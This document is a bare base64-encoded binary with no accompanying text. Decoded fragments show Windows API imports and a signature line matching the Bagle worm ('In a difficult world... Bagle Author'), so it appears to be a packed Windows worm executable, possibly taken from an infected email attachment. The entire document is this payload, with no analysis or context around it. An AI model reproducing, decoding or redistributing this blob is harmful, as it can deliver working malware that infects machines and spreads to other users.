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 